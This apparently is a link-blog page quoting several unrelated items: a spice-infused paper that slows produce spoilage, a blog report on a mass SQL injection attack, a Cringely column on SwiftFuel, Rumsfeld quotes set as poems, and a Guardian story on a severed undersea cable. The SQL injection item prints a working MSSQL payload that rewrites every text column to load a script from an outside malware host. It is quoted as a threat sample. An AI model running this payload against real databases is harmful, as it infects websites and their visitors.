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FreshPaper uses spices to combat food decay
FreshPaper uses spices to combat food decay

TAKING ON GLOBAL FOOD WASTE WITH A SIMPLE SHEET OF PAPER | INDEX: Design to Improve Life®.

While the world’s farmers harvest enough food to feed the planet, it is estimated that up to 50% of the global food supply is wasted. Fenugreen is taking on this enormous, yet often overlooked, global challenge with a simple design, FreshPaper. Low-cost, compostable and infused only with organic spices, FreshPaper keeps produce fresh for 2-4x longer, and holds the potential to change how the world keeps its food fresh.

TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [‘[email protected]+’] set [‘[email protected] +’]=[‘[email protected]+’]+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘[email protected]+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Bob's Weekly Technification

I, Cringely . The Pulpit . It’s the Platform, Stupid | PBS

Robert X. Cringely Cars are the key to U.S. energy consumption. The dominant automotive platform here, whether you drive a truck, a car, or a motorcycle, relies on gasoline-fueled internal combustion engines. That’s the platform we are unlikely to change quickly. So how do we leave that platform intact and unchanged, ask nobody to significantly sacrifice, yet still achieve the noble (and Nobel) goals of lower fuel consumption, lower greenhouse gas emissions, lower pollution levels, dramatically lower oil consumption, lower cost, and lower geopolitical vulnerability for our country? There’s only one way I know to accomplish this: change the fuel.

This happened to a certain extent in Brazil during the ’70s and ’80s by embracing ethanol. But ethanol has less energy per gallon so fuel consumption goes up and mileage goes down. Ethanol can’t be shipped in pipelines also used for oil. Cars have to be modified to run on it and even then there are issues about internal corrosion. Ethanol is far from perfect. What’s needed is a replacement for gasoline that looks and feels and tastes just like gas to your car but isn’t made from oil. Then the platform could remain completely unchanged yet my 1966 Thunderbird (and the world) could benefit starting with the very next tankful.

There is such a fuel, developed by a husband and wife team of scientists working in Indiana in cooperation with Purdue University. This new fuel, called SwiftFuel, is right now intended for airplanes, not cars, but the lessons are the same.

The poetry of Donald Rumsfeld. – By Hart Seely – Slate Magazine

The poems that follow are the exact words of the defense secretary, as taken from the official transcripts on the Defense Department Web site.

Donald 'Rummy' RumsfeldThe Unknown
As we know,
There are known knowns.
There are things we know we know.
We also know
There are known unknowns.
That is to say
We know there are some things
We do not know.
But there are also unknown unknowns,
The ones we don’t know
We don’t know.

—Feb. 12, 2002, Department of Defense news briefing

More of this insanity is available: The poetry of Donald Rumsfeld. – By Hart Seely – Slate Magazine

What he didn’t mention, is that there are also unknown knowns! That is to say, things we don’t know we know.

How one clumsy ship cut off the web for 75 million people

Internet Sea Cable DiagramHow one clumsy ship cut off the web for 75 million people | Technology | The Guardian

Wow.

A flotilla of ships may have been dispatched to reinstate the broken submarine cable that has left the Middle East and India struggling to communicate with the rest of the world, but it took just one vessel to inflict the damage that brought down the internet for millions.

“People just don’t realise that all these things go through undersea cables – that this is the main way these economies are all linked,” said Alan Mauldin, the research director of TeleGeography. “Even when you’re using wireless internet, it’s only really wireless back to your base station: the rest is done over real, physical connections.”

One expert suggested that this week’s accident should be a “wake-up call” to convince governments that keeping such connections secure should be a higher priority. Officials must spend more time and energy making sure that critical communications such as mobile phones and the net are adequately protected – whether from disaster or a terrorist strike, said Mustafa Alani, head of security and terrorism at the Gulf Research Centre in Dubai.

“This shows how easy it would be to attack,” he said. “When it comes to great technology, it’s not about building it, it’s how to protect it.”